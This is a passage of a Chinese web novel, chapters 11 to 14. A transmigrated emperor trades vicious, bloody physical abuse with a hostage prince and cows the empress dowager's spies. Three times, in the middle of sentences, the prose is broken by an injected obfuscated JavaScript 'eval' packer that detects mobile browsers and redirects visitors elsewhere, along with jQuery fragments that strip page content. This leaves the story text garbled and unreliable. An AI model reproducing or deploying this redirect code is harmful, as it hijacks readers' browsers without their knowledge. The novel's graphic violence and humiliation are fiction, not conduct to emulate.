系统发出尖锐的暴鸣:“严禁违规!严禁违规!” 还没动手,就被警告。 师离忱十分遗憾。 当然他并没有打消念头,只是将手指下滑,漫不经心地在裴郁璟的肩背处按了按,指腹触碰到的地方瞬间绷紧,明显感觉到外衣之下隐匿的猛劲。 “圣上,痒。” 裴郁璟声音有些沙哑,不管是脖子,后背,被触碰过的地方就仿佛被羽毛挠过似的,羽毛飘过后却激起一股渗人的凉意。 系统警报不停,师离忱眼神阴沉地可怕,语气恶劣:“忍着。” 他修长的指一翻,两枚菱形刀片出现指间。 薄薄的刀刃突然出现在圣上手里,把乐福安吓了一跳,急道:“圣上!您怎么又藏暗器!快给老奴,别伤到自个了。” 师离忱没理他,抬眼看向廊外的天空,一只飞鸟低空掠过,他随手一抛,寒芒微闪飞鸟落地。 皇宫内廷,除了有皇家标识的信鸽,其他飞行的鸟都会被禁军拦在宫外。 南晋暗探没拔干净呢。 师离忱冷道,“查。” 隐匿暗处的金吾卫立即应声。 这时,郞义扛着轮椅回来,师离忱换了位置,坐到了轮椅上。被推着往前走时,连个眼神都没留给裴郁璟。 裴郁璟压着一股火,面无表情地起身,单手揉着脖子,目光蓦然扫向一旁正在处理飞鸟尸体的金吾卫。 能清楚看到,两枚刀片正中飞鸟腹部,只留了个尾巴在外头,刀尖锋利,在阳光下反出金属的寒芒。 他丝毫不怀疑,刚才感知到的,那一闪而过的凉意,是小皇帝想割断他喉咙的杀气。 他趴着给小皇帝当人凳,小皇帝还打着杀他的注意? 哈! 盯着那只鸟尸,裴郁璟咬牙切齿地笑了一下,眉目间透出几分阴鸷的狠戾,只瞬息便压了下去。 * 此时乐福安已经推着圣上走出一截路,讲着近来要事,“再过两日镇国侯就要到京都了,九华寺那边传了信过来,说太后娘娘在准备回宫。” “让她回,镇国侯如此功绩,也该和家人见一见。”师离忱不甚在意。 太后半年前丧失垂帘听政的权利,被他赶下台,赶到九华山去为先帝祈福,她是先帝续弦,也是镇国侯的嫡亲妹妹。 师离忱很清楚这个女人的野心,如果他不是皇帝,他会很欣赏一个拥有和武则天同样野心的太后。 可惜他是皇帝。 这位太后还有一个手握重兵的哥哥,他不能保证太后不会生出别的,不该有的心思。 师离忱敛眸,只平常道,“叫人盯紧了。” “欸,都仔细着。”乐福安推着轮椅,自然也就看不到圣上如今的脸色已经变得十分苍白。 系统是消停了,可他膝盖还在做疼,大概是多日劳累绷紧了神经,一朝放松那股病气,就接二连三的卷过来。 他眨了下眼,眼前忽的出现一片黑雾。 师离忱揉了揉眉心,觉得头有些晕。 “……圣上!圣上?!”耳边只隐约听到乐福安惊慌失措地喊叫,圣上已然闭目不省人事。 * 裴郁璟才跟过来,就听乐福安惶恐喊叫。 他靠近一瞧,小皇帝像是没骨头似的歪靠在轮椅上,两眼紧闭。乐福安绕到轮椅前方,扶住小皇帝向下倒去的身形,又连续唤了几声。 裴郁璟驻足一旁冷眼旁观,看着小皇帝病白的脸色,想起他的所作所为,痛快地勾起嘴角。 可见小皇帝任凭乐福安怎么唤都唤不醒的样子,他唇边的笑又收了收。 …… “郞统领,快,来把圣上背回紫宸殿。” 乐福安心急如焚,头也不回的吩咐。 这儿才出金銮殿不远,距离内庭的紫宸殿还有一段距离,御医都被叫到那边去候着了,轮椅推起来太慢,得叫个身强力壮的背着圣上跑过去更快。 郞义担忧圣上,可又不敢轻易冒犯,正踌躇不定从何处下时,忽的一个人影从旁过来,将他和福公公都挤到一旁。 “磨磨蹭蹭。”裴郁璟冷道。 他俯低身子,一手搂腰一手穿过腿弯,毫不费力的一把将轮椅里昏厥的年轻帝王捞了起来。 郞义:“你……” 裴郁璟挑起眼皮瞥他一眼,声音沉冷:“别挡路,滚开!” 如此大胆的举动,乐福安一时惊住,很快他便回神,也顾不得什么无礼不无礼,举起袖子挡住旁边吹来的风,催促道:“快!走快些!” “注意避风,圣上怕是发热了!” …… 紫宸殿。 一方薄薄的白帕搭在圣上手腕上,太医令探脉过后,低声道:“圣上近来忧思过重,食量减少,有风邪入体,药方开下去,一日三回的药,福公公一定要盯着圣上喝完。” 太医令在宫中多年,常为圣上请平安脉,先前腿疾复发时,也是他来看诊,自然也知道圣上不爱喝药。 乐福安叹道:“季大人,圣上的脾气,哪里是我等能劝住的。” “不喝药怎么行?圣上龙体要紧,一定要盯住了。”太医令横眉冷竖。 …… 殿中弥漫着一股药味。 裴郁璟坐于踏道角落,静静望着龙床的方向。 念起他大着胆子把圣上抱回来的举动,乐福安看见他的时候脸色倒是没那么难看了。 他手里拿着两个温热的草药包,绑在圣上膝头,这药得敷两刻钟,凉了之后再换新的。 绑好后,见圣上未有醒来的迹象,怕惊扰到了圣上,乐福安对裴郁璟小声道:“出来。” 二人出了殿外。 乐福安上下打量一眼裴郁璟,头一回拿正眼瞧了这位南晋质子,轻笑道:“咱家原以为你是个诡计多端的,没想到你是真心想伺候圣上。” 方才一路走来,托举着圣上小心翼翼护着避风的模样,可不似作假。他在宫中多年,自认为这点眼力是有的。 裴郁璟敛眸,掌心微蜷着。 还在想刚刚的事。 当然,野兽压抑久了,还是野兽,不仅仅是收起獠牙,还会伪装。仅片刻,他对乐福安扯出一个虚伪的笑容,“那是自然。” “我,真心实意的,想伺候圣上。” * 京都榜文张贴。 不仅仅交代了对林氏以及官员惩处,过了午时,又张贴出另一则榜文,简明扼要的把监察司推行至大众眼前。 很快消息传开。 所有拥有功名在身的学子,哪怕只是个秀才,也能够报名参加监察司的考较,监察司在各个府州均有设立,按功名与考试出来的名次进行分配,包括考试也进行了分考制度。 国子监一时热闹非凡。 一下学。 荀嵩就奔着卫珩一家门去,“珩一兄!珩一兄!”老旧的木门被他推开,卫珩一两袖清风在稍显破败的院中择菜,听到动静有些木讷地抬头。 荀嵩毫不避讳的冲进去,眉飞色舞道:“你听说了吗,监察司,监察司!圣上推行监察司,监察百官!” 自从不能去国子监后,卫珩一大门不出二门不迈,不是温书就是择菜,不知荀嵩在说什么,疑惑地微微拧眉。 见他这幅样子,荀嵩一拍大腿,干脆拉着人出去,一路小跑到榜文张贴处,指着两张早上新贴的榜文,道:“你看看就知道了。” 榜文内容,越看越心惊。 “林氏,诛九族?”卫珩一声音发颤,有些不可置信,庞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12227288|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然大物一样的山轰然倒塌了。 “是啊。”荀嵩道,“庄学究也受了牵连,听说昨夜就被大理寺收押了,今日都没在国子监出现。” 看着榜文上,一字一句的判决,以及府衙的印章,卫珩一眼眶微红。 鹿鸣宴过后,国子监便以束脩不足将他逐出。 书纸价高,一根树枝,一块地,就是他平日书写温习的地方。即便节省如此,手中银钱还是不够,过了深秋便是寒冬,今年的冬衣还不知在哪儿,他不愿意动生人给的二百两,便去书铺帮着抄书,赚得银两拿来贴补家用。 书铺七日一结,定好抄一本可换得五十文,七日抄了三本,本该得一钱银子。可书铺却耍起了无赖,只丢给他十枚铜板,说是字迹不佳,雇主不满。 从掌柜嘲讽的话中,他辨出这是林氏的手笔。 林氏商铺在上京何其多,去其他地方也是一样的下场。他只能回到家中,将尚且新鲜的菜择一择,又拿出所剩不多的积蓄,想着和邻里换些旧日的棉花,没有棉花粗麻也是好的。 可平日交好的邻里,瞧见他都是眼神闪躲,不愿搭话。只有巷尾卖了一辈子糖画的阿婆叹着气,好心劝他,“卫家小子,老婆子年纪大了开罪不起那些人,你好好想想到底得罪了谁,抓紧去赔礼道歉吧。” 林氏渗透了各个方面,逼着他低头。好在一切尘埃落定,不会再有人为难与他。 只是庄学究…… 卫珩一心绪复杂,问道:“庄学究被关押在大理寺牢狱?” 对于这位和他有知遇之恩的恩师,他心中还是挂念。 “是啊。” 荀嵩啧啧摇头,“庄学究也是胆大,敢参与科举舞弊,那位被替身份的齐计泽你知道吗,当年悄无声息的被换掉,在京都消失没有一个人察觉,真是可怕。” “今日我爹回来的时候说了,真的齐计泽脸上有疤,瞧着吃了许多苦。朝会时被测问过,才学确实担得起会试第一,可容貌有异者入不得翰林院,他已然被林氏毁了半生。” “而且,圣上发了好大一通火,犯重罪的都赐了廷丈,打死在金銮殿前……” 耳边荀嵩絮叨的声音似乎变得模糊。 卫珩一背后陡然激起一层寒意。 若是此案未被查出,他是否就是林氏的下一个目标? 幸好圣上严明,以雷霆手段惩治了恶官,接势推出的监察司,大概就是要杜绝此类事件再次发生。 思及此处,卫珩一灵台一片清明。 他抬眼,眸光坚韧地看向了另一则榜文,上头监察司的字样,越看越叫人心潮澎湃。 * 风寒来势汹汹,去得也快。 睡了一整日,昏昏沉沉间发了一身汗,师离忱在醒来时身子已然轻快许多,嗓子干哑难耐,比起洗浴他更想喝水。 此刻天幕渐暗,殿内也是一片暗色。 他半支起身,张了张嘴还没说话,先被吸气带来的冷风呛得猛咳起来,一发不可收拾,咳到心口发疼,大口呼吸。 殿中的动静,立刻引起注意。 不稍片刻,一帮宫女太监鱼贯涌入,端药的,打水的,掌灯的,瞬间让死气沉沉的殿内活了过来。 “圣上,慢些。”乐福安伺候师离忱喝水,又吩咐人把药端过来。 师离忱一闻到苦味就皱起眉头,“拿走,朕不喝。” “早知道您要这样。”乐福安苦着张老脸,要哭不哭道:“今儿个圣上一直睡着不醒,老奴急得心绞痛都犯了,吃也吃不好歇也不敢歇,都怪老奴没照顾好圣上,才让圣上风寒入体,老奴这颗心啊……” 听他越说越夸张,师离忱侧目,就见乐福安捂着心口,一只眼闭着一只眼睁着偷看他的反应。 视线对上,乐福安赶紧两只眼都闭上了,一副假意犯病的模样,‘哎哟哎哟’的叫唤起来。 师离忱笑骂了句:“装模作样,老刁奴。” 见圣上如此,乐福安就知事成了,紧忙收了表演,趁热把药端给圣上,笑眯眯的伺候圣上用药。 师离忱不喜欢药味,拧着眉心一口气灌下去,用温水漱口,才淡化舌尖的那点苦味。 12. 第十二章:跪这儿 喝药的这会儿功夫,乐福安已经把他昏迷后怎么回紫宸殿的经过,低声交代了一遍。 师离忱若有所思,抬眼在殿内扫了一圈,不见裴郁璟,“他人呢?” “在给圣上温着药包。”乐福安担忧道,“圣上可还膝痛着?要叫太医令来瞧瞧吗?” “不必,朕好些了,备水沐浴。”师离忱掀开被褥,只觉得一身黏腻难受。 捆在双膝的药包尚且热着,乐福安取走后,搀扶着圣上起身,仔细地给圣上披上氅衣,劝诫道:“眼下天气冷,您才退热,奴担心您沐浴的时候着凉,不若将就些,奴伺候您擦身可好?” 师离忱噙笑,轻描淡写地睨他一眼。 意识到再说就要惹圣上厌烦了,乐福安敛了神色垂首告罪:“圣上恕罪,奴这就叫人去御池准备。” …… 风寒的滋味并不好受,师离忱今日不曾打湿头发,只做了简单清洗,两刻钟不到便出浴,热水泡暖了身子,浑身感到松快。 殿内漫着氤湿雾气。 裴郁璟捂着两个温好的药包过来,一眼就瞧见从御池后,赤脚走出的皇帝。 那从头到脚都矜贵的人,足也是如玉一般,踩在墨色的玉砖上,带着淡淡蒸腾的粉意。 红衣曳地,披着一身的微卷长发,许是被热气熏到,给脸上带来几分血色,听到动静懒意瞥来,端得一张醉人的芙蓉面。 “嗯?”师离忱挑眉,“愣着做什么,过来。”他坐在椅子上,手指在膝前点了点,“给朕敷上。” 裴郁璟敛眸,自觉半跪在师离忱膝前,一手握住了帝王的脚踝,另一只手卷起裤腿,一截白玉般修长流畅的小腿出现在眼前。 上首,圣上淡淡道:“狗爪子轻些。” 处处都透着难养的骄矜。 裴郁璟漫不经心的往下瞥了眼,捏住小皇帝脚踝的手松了松,似瓷一样白暇的肌肤上,还是出现了一丝红痕。 啧。 明明没用多大力气。 …… 乐福安回来就见圣上没骨头似的瘫坐在宽大椅子上,他无视了半跪着给圣上敷药的裴郁璟,一眼就看到圣上踩在地上的赤足。 “哎哟圣上,毯子呢,毯子!” 乐福安赶忙在师离忱赤足之下垫了白软的毛毯,扭头就把矛头对准了屋内侍奉的小太监,“奴才们都怎么当差的?圣上没穿鞋都瞧不见吗!说了多少回毯子要备上,那两颗眼珠子没用就丢了去!” 宫人们惶恐跪了一地。 师离忱托着下颌,淡淡道:“沐浴的时候朕没叫他们进来,怪不得他们。” 他没有让别人旁观沐浴的习惯,通常沐浴期间都会清退众人,只有在沐浴结束后才会唤人。 “圣上仁善,就饶了你们,以后都长长眼力劲!” 乐福安冷脸训完人,又变了个脸色凑到师离忱跟前,将他昏睡期间发生的事细说一通,又道:“太后午时刚过便回宫了,听说圣上病了还睡着,就没叫人来打搅。” 九华寺就在京都郊外不远,车马也就两个时辰,回就回了。师离忱打了个哈欠懒懒“嗯”了声,不感兴趣。 观察圣上面色如常,乐福安继续道,“方才太后听说您醒了,赶着给您送了碗甜汤来……您要尝尝吗?” 闻言。 师离忱倏然抬眸,他从醒来到沐浴结束,满打满算总归不超过半个时辰,太后消息够灵。 他笑容温和道:“太后一番心意,端来吧。” 乐福安应了声,将殿外候着的宫女唤进来。 一碗甜汤被呈送到师离忱眼前。 他长眸一瞥,歪着脑袋盯着那碗甜汤,也不去碰,只哼笑道:“真是难为太后费心,都快入冬,还能炖出一碗莲子汤来。” 宫女低头,脆生生回禀道:“回圣上,九华寺后山荷塘开得好,太后娘娘特意命人夏日采摘了晒干,这才刚回宫便给圣上炖了送来。” 夏日。 师离忱回想了一下,记得那时候太后被赶下台没多久,还想作妖,被他随便用了个名头给送去九华寺了。 “喔?”师离忱意味深长道,“难为太后费心,朕也有个礼送太后。”说着他给乐福安递了个眼风。 乐福安会意,冷声对外道:“压进来。” 片刻,两名金吾卫将一昏迷不醒的太监拖了进来,太监身上有被鞭挞过的痕迹,血从衣裳里渗出来,嘴巴上也有血。 “朕听说,太后身边伺候的人不够尽心,想来是太吵闹了。” 师离忱笑吟吟的,漫不经心道,“所以朕挑了个最合心意的,特意教他做个好哑巴,送给太后。” 宫女已然吓得不敢说话,紧紧埋头,端着托盘的手都在抖。她认得那小太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12248827|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监,她在太后宫中无意见过一面。 殿内响起圣上轻飘飘的声音:“去复命吧。” “喏……” 宫女小声应完,将甜汤交给了福公公。 走出殿外,才骤然感到腿软的可怕,她大口喘气,后背冒汗,瞧见一旁拖了小太监出来的金吾卫,金吾卫锐利的眼神让她白了脸色,狠狠打了个寒噤。 …… 膝盖已经敷好了药包,裴郁璟退至了一侧,目光落到小皇帝捻着勺子,搅动甜汤的手上。修长的指节分明,似上好精致的白玉,慢条斯理地把玩那根勺子,搅得叮当轻响,也不吃。 裴郁璟面无表情的看着。 这手。 玩暗器玩匕首的时候,那劲大着呢。 注意到裴郁璟的视线,师离忱好整以暇道:“饿了?膳食吃不惯?” 裴郁璟拿不准小皇帝究竟打的什么主意,但想想平日里那些吃食,他皮笑肉不笑道:“璟每日的膳食是一条生鱼,一只生鸡,不大沾烟火气。” 生的东西他当然不吃,都是趁着没人注意的时候去御膳房弄点熟的,不过不妨碍他拿到小皇帝面前来提。 师离忱语气难辨情绪:“你似乎很不满。” 裴郁璟低头,“璟不敢。” 这幅虚假恭顺的样子,让师离忱瞧着很不顺眼。 黑化值九十九的男主,能是什么好货?他不介意把他这层假皮扒下来。 师离忱双眸微眯,对裴郁璟招了招手,又随意地点了点膝前空位,“来,跪这儿。”他嗓音低沉,“乖乖听话,否则朕不介意叫人来帮你。” 一样的地方,刚才半跪是为了给小皇帝敷药,现在跪是没有名头,带着几分莫名其妙的折辱。 裴郁璟眼底沉了沉,敛去敷衍的假笑,低眉顺眼地跪在了皇帝面前。一只微凉的手陡然掐住了他的脖子,用力地将他扯了过去。 “你装什么?” 师离忱居高临下地睨着裴郁璟,他几乎把裴郁璟上半个身子都扯到了腿上,掐住裴郁璟脖子的手转而上移,从后脑揪住了裴郁璟的头发,恶狠狠道:“真以为朕瞧不出来?你那点伪装的功夫还不到家呢,明明恨不得杀了朕,还在这儿做虚情假意。” 他低低地笑着,语调却带着一股渗人的森冷,“你算什么东西?装什么温顺?装什么好奴才?嗯?朕缺奴才?” 13. 第十三章:礼尚往来 头皮传来拉扯的疼痛,足以证明小皇帝用了多大力气。 裴郁璟被迫仰头看着师离忱,下颌绷出力量的线条,也被迫将半个身子压在师离忱腿上。 离得近了,他甚至能闻到小皇帝身上的淡淡熏香,近到他能清晰看出小皇帝笑容里,所藏匿的几丝森冷杀意。 裴郁璟嗓音低哑:“圣上,璟做错什么了吗?”他直勾勾地盯着师离忱双目,好像真的很疑惑。 师离忱噙笑,用实际行动告诉他,到底问题出在哪儿。 五指用力的扣住裴郁璟后脑,扯着头发,用力的撞向扶椅的把手,让脑袋磕得嘭嘭响,连续撞了七八下,让裴郁璟头发都散了,才揪着提起来。 鲜血从裴郁璟额角流到绷紧的下颌,让这张俊美阴鸷的脸染上了几分邪性。裴郁璟也不笑了,阴恻恻地看着师离忱,眼神沉郁可怖。 “对,就是这幅表情,别给朕演。” 师离忱揪着裴郁璟的手用力到发颤,忍着系统开启的二级电流,笑得扭曲,亲昵道:“听懂了?” 静默须臾。 裴郁璟朝着师离忱咧开一个血腥与阴森的笑,突然用大掌钳制住紧扣在头上的那只手。 师离忱手腕发麻五指一松,手被拉了下来。 裴郁璟声音轻慢:“圣上……慧眼。” 他倏地抬眼,猛然将人按倒在椅子上,高大的身躯以压倒性的姿势俯瞰着帝王,手掌掐住了年轻皇帝的颈项,低垂着眼,完完全全展露出他狠厉的獠牙,“圣上三番两次想索我的命,我也索一索圣上的命,您觉得如何?” 一滴血从他的下巴,滴落到了师离忱眼下。 命脉被拿捏在别人手上,师离忱却根本不慌,只瞧着裴郁璟笑,笑得肆意乖张,有恃无恐。 早在师离忱动手之前,乐福安就将殿内的宫人们清退,不曾想这南晋质子如此大胆,竟敢以下犯上。 乐福安变了脸色,卷着拂尘朝裴郁璟甩去,“放肆,放开圣上!” 拂尘破空,裴郁璟收紧了手掌,指腹之下能清晰的感觉到,小皇帝正在跳动的脉搏。 他头也不抬地轻笑道:“退后。” 随着大掌用力,师离忱微微昂首,有些喘不上气的闷哼一声,立刻让乐福安停下了动作,目光冷凝地盯紧裴郁璟。 他正准备唤金吾卫,‘来人护驾’就在口中,却见圣上摆了摆手,嗓子无法发力只能吐出两个气音:“退下。” 乐福安虽焦急,却也只能不情不愿地退到一旁,担忧地注视着圣上,一旦有异动他会第一时间冲过去。 烛火摇曳。 宽大椅子前站着的高挑身影,将椅子上散漫躺着的帝王完全笼罩。 四目相对,师离忱一指抹开眼下的血迹,本就妖异秾丽的脸,顿时绽放出危险的恶意。 裴郁璟忽的一怔。 是意料之外,也在意料之中,师离忱并无任何害怕的迹象,甚至还在笑,凝视着他的狭长双眸弯弯,唇角上扬笑地疯狂,笑到胸腔都在轻抖。 似乎极为愉悦。 师离忱满意极了男主的表现。 针对一潭死水很没劲,这样才有意思。 像是瓷捏的小皇帝,面对生死威胁居然还能笑出来。裴郁璟愈发看不懂师离忱,好奇问道:“圣上,不怕?” 横亘在二人中间的手臂,布满力量感与爆发力,只需轻轻施力,就能捏断师离忱的脖骨。 师离忱没办法出声,缺氧让他双唇微张,脸上很快浮出红晕,他不慌不忙地朝裴郁璟勾了勾手指。 裴郁璟俯身过去。 下一刻,他头皮传来一阵熟悉的拉扯感。 师离忱坐起身,听着系统电流升到了三级的警告,三级电流疼入骨髓,他却兴奋到双目发红,一边大口喘息,一边狠狠揪着裴郁璟的头,撞向椅背。 他语气恶劣一语双关:“出息了,威胁朕?有本事就和朕同归于尽,没本事就乖乖盘着!” 发狠了,撞累了,师离忱才松手卸了力道,半靠椅子上,双眸半阖地看着瘫靠在另一半椅子上的裴郁璟。 裴郁璟同样也在大口喘气,眼神阴沉不定的看着师离忱。 小皇帝眼尾两朵潮红,像是抹了胭脂从皮下渗出,白里透红,那张脸上带着快意张狂的笑,还沾着他的血,看得裴郁璟牙又痒了,很想啃一口。 这么想,他也这么干了。 上去就咬了一口。 “啪!” 被掐脖子都没变脸色的帝王,措不及防被咬了一口脸颊,他倏地沉了脸色,毫不客气地赏了裴郁璟一巴掌。 “滚下去。” 师离忱冷了脸,抬脚就踹。 把人踹下椅子,他顺势踩在椅子上坐起来,一手搭在膝上,面色不善地睨向裴郁璟。 没被系统恶心,没被任务恶心,没被该死的原书结局恶心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12263399|128419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 被一个男人咬脸,给成功被恶心到了。 偏偏这个人,他杀不死。 裴郁璟顺势滚了两圈,大大咧咧地躺在地上,挑衅似的看着师离忱,扯出一个阴恻恻的笑:“圣上脸上有血,我这是帮你擦脸。” 很难得在小皇帝面上看到如此明显的怒意,裴郁璟很痛快。 师离忱冷笑一声,忽地起身,抬起一脚踩在裴郁璟脸上,压着重重地碾了两下,血迹被晕得到处都是,恶劣道:“礼尚往来,朕也帮你擦擦。” 恶心人,谁不会呢。 分明是折辱的举动,可裴郁璟偏偏心无波动,脸颊被小皇帝足心碾压,他竟然还能分心,在血腥气中嗅到来自小皇帝刚出浴带来的淡香。 不愧是月商最矜贵的人,足底都是嫩的,微凉的足底也冲淡了他脸上的热气,裴郁璟觉得这么踩着也挺好。 踩了一会儿,半晌没等到裴郁璟有所反应,师离忱感到无趣,又重新地又坐回了椅子上。 裴郁璟有些遗憾地摸了摸脸颊,还好意思问:“圣上,擦干净了吗?” 他用手肘半支起身子,歪着脑袋笑嘻嘻地看着师离忱,方才周身骇人的戾气完全收敛了个干净,只剩下满头满脸的血。 “……” 师离忱古怪地扫了眼裴郁璟,这男主脸皮有够厚,原书中能一统江山或许有一定道理。 别是脑子撞傻了,师离忱嗤笑着骂了句,“丑东西。” 没理这厮,他揉着发疼的脖子,眸子沉沉的思索着。 殿内陡然陷入沉寂。 …… 小皇帝没收力,多次发狠的撞击导致裴郁璟的头脑有些晕沉,虽然视线有些发昏,但依旧能看清。 见小皇帝慢条斯理地揉起脖子,裴郁璟忍不住将目光转过去。 经过这一会儿的打闹,小皇帝如鹤修长的白皙脖颈上,开始浮出了分布不均的红痕,颈侧掐过的指印已经有转变发紫的迹象。 痕迹斑驳,让他心中蓦然诞生了几分怪异感,一时间说不出话来。 腰侧刚刚被踹过的地方,似乎发麻了。 他目光下移,看到师离忱踩在椅子上的玉足,带着淡淡粉意,脚底还有从他脸上沾去的血迹。 裴郁璟回忆起先前给皇帝敷药的时候,这足在他掌中一手就能握过来,自带几分凉意,像是雕刻过的精美玉器。 难怪踩在脸上那么舒服。 14. 第十四章:微服出巡 系统已经停止三级电流的惩戒。 但电流所带来的后遗症没消,师离忱感到浑身的骨头都是软麻的,疼到手腕在轻轻发颤。 他脸上由兴奋带来的淡淡红晕还未完全散去,便软绵绵地瘫在椅子上,闭上眼睛缓神。 要不是实在没力气了,他还能再折腾男主一阵。 裴郁璟也好不到哪儿去,四仰八叉地平躺在地上,睁着两只眼望着天顶,有血流进了眼睛,这会儿看什么东西都带着一层红红的薄雾。 裴郁璟只打着吓唬吓唬小皇帝的意思,没动真格,可小皇帝动手是真狠,下的死手,现在后劲上来了,他脑袋又痛又晕,大口大口喘气。 双方都累得歇住了。 乐福安适时上前,心疼的检查起圣上脖颈的伤痕。 清池殿暖着地龙,圣上才出浴只穿了件单薄的暗红寝衣,领口微敞,让脖子上的指印,掐痕清晰可见,发紫发红似是雪地被泼上一副画。 乐福安碰也不敢碰,生怕弄疼圣上,小声啜泣着:“天可怜见的,圣上都好多年没伤这么重过了,这杀千刀的南晋人!” 他回头恶狠狠瞪了眼泄了力躺着的裴郁璟。 见圣上不发话,乐福安拿不准圣上的意思未敢唤人进来,自个去打了盆水过来,用帕子沾湿,给圣上擦去脸上的血迹。 如画明艳的脸上,竟还有个牙印! 乐福安顿时眼泪流得更凶了,在他心里圣上本就是冰琢如玉,该悉心照料的矜贵人,连件衣裳都得面料柔软,还得他仔细熨烫,熏香,否则圣上肯定会穿着不适。 可圣上居然在他眼皮子底下,被这南晋人搞出这么多骇人的伤痕! 抹了把眼泪,乐福安蹲下身去捧圣上的足,边擦边抽噎着说:“千万别再让脏东西沾您身子了,他哪配啊,留了多少印了,这得多少天才能消,都怪老奴不中用,圣上您不能总这样折腾自己……” 师离忱任由乐福安打理,懒洋洋道:“朕没事。”他抽空撩起一只眼皮,瞥了眼裴郁璟,“他有事。” 地上,裴郁璟一声不吭。 高大的身影,平平的,随意地躺在那儿。 他穿着不带任何配饰的白色劲装,两根黑色皮质的腰带勒出身形,端得一副宽肩窄腰,浑身没有任何金属,一只箭袖稍微往上卷了点,露出一截有些紧实健硕的小臂,只需施展力气,就能爆发出峦山一样流畅的肌肉线条。 现在,裴郁璟绑着的头发散了,顶着一头乱糟糟血呼啦的脑袋,白色的衣襟也沾血,躺在地上一动不动,要不是能瞧见胸口起伏的呼吸,恐怕还以为人死了。 师离忱也没具体算过,究竟抓着裴郁璟在椅子上撞了多少下。 他上回拿匕首捅了裴郁璟一刀,系统才开一级惩戒,这回直接开到三级,应该伤得不算轻。 师离忱往后靠了靠,递了个眼神给乐福安。 乐福安毫不客气,端起一盆水照着脑袋实实在在地泼了过去,呵道:“混账东西,醒醒!” 裴郁璟悠长地叹了一气,道:“圣上,让璟歇一歇吧。” “难看死了,自己爬起来去处理。”师离忱漫不经心道,“朕就先不陪你玩了。” 差点要了他半条命,在小皇帝口中就是玩而已。 裴郁璟带着一头混着水珠的血,坐起来像是索命的恶鬼,笑得渗人:“玩?好玩吗?” 师离忱直视着他,语气轻柔狎昵,“好玩,等朕有空了接着陪你玩。还有,别在朕面前演戏,朕不喜欢。” 四目相对,看着师离忱脸上显眼的牙印,嘲弄的笑,裴郁璟眼神遽然沉下,变得晦暗无比。 还是咬轻了。 也对。 毕竟在他在小皇帝这儿,一直都是玩物的地位。 他泄了力又重新四仰八叉地躺了回去,御池周围全是小皇帝的味,就是淡了些,没身上的浓。 …… “您还有空关心他呢,老奴巴不得叫金吾卫把他拖出去处死才好!” 乐福安拿着药膏擦在师离忱的脸上,脖子上,又气又恨地磨牙道:“亏老奴早上还觉得这南晋人表现不错,谁曾想这小子竟敢以下犯上,都怪老奴!就不该让他来您跟前!” 师离忱笑说,“朕都不急,你急什么。” 乐福安看着圣上神色愉悦,圣上难得如此真心实意的高兴,他劝诫的话一时间止在口中。 罢了。 一切按圣上喜欢。 披上厚实的大氅,师离忱临走前将那碗莲子羹赏给了裴郁璟。 心情颇好之余,他大发慈悲道:“往后朕叫人给你换些有烟火气的膳食,省得你去偷鸡摸狗。” 裴郁璟一动不动,睁眼看着居高临下俯身睨来的小皇帝。 小皇帝灼目秾丽的俊美眉眼,自然而然地带着上位者的孤傲轻蔑,方才踩他的时候或许也是这个表情。 可惜现在小皇帝没想踩他,也没想对他动手。 裴郁璟莫名有些遗憾,喉结不自觉滚了滚,幽幽道:“……谢圣上。”话音刚落,他两眼一闭没动静了。 乐福安踹了他一脚,“死了?” 师离忱挑眉,施舍了一眼道:“晕了。” 杀不死,但能弄到半死。对于这个结果他很满意,彻底乐了,“叫太医令给他瞧瞧,不许给他放甘草。” * * 一夜转瞬即逝。 飞鸽报信,镇国侯明日抵达京都。 监察司的消息才放出去不久,礼部还在筹办考校事宜,目前是难得的松懈时间。 师离忱趁着今日有空,打算微服出巡去一趟明工坊。 因着脸上牙印太显眼,特意和上回一样做了易容,又穿了狐皮毛领遮住脖子。 师离忱不太喜欢这个脖领,但乐福安却笑咪咪说,“外头天寒,圣上还是别摘下来了,这痕迹一时半会可消不掉。” 师离忱听出他言下之意,哼笑着睨他一眼,“老滑头,今儿个琐事繁多,你便留宫中盯着些吧。” 说话间已然起身走出殿外,朗义牵来马车早早候在紫宸殿前。 乐福安登时变脸,哭天抢地一溜的追出去,“哎哟老奴多嘴,您别怪,您带老奴一起去吧!朗统领哪有老奴伺候的仔细,圣上!圣上!圣上……” …… 京都。 南街酒楼雅间。 荀嵩拉着卫珩一倒酒,好奇道:“你当真打算去报考监察司?再过几个月就春闱了,我爹前不久还瞧过你的策论,说以你才学拿会试前三,入翰林院不成问题,你可要想好。” 做天子近臣,要先入内阁,要入内阁,便非入翰林院不可。 监察司再好也比不过做圣上跟前的臣子。 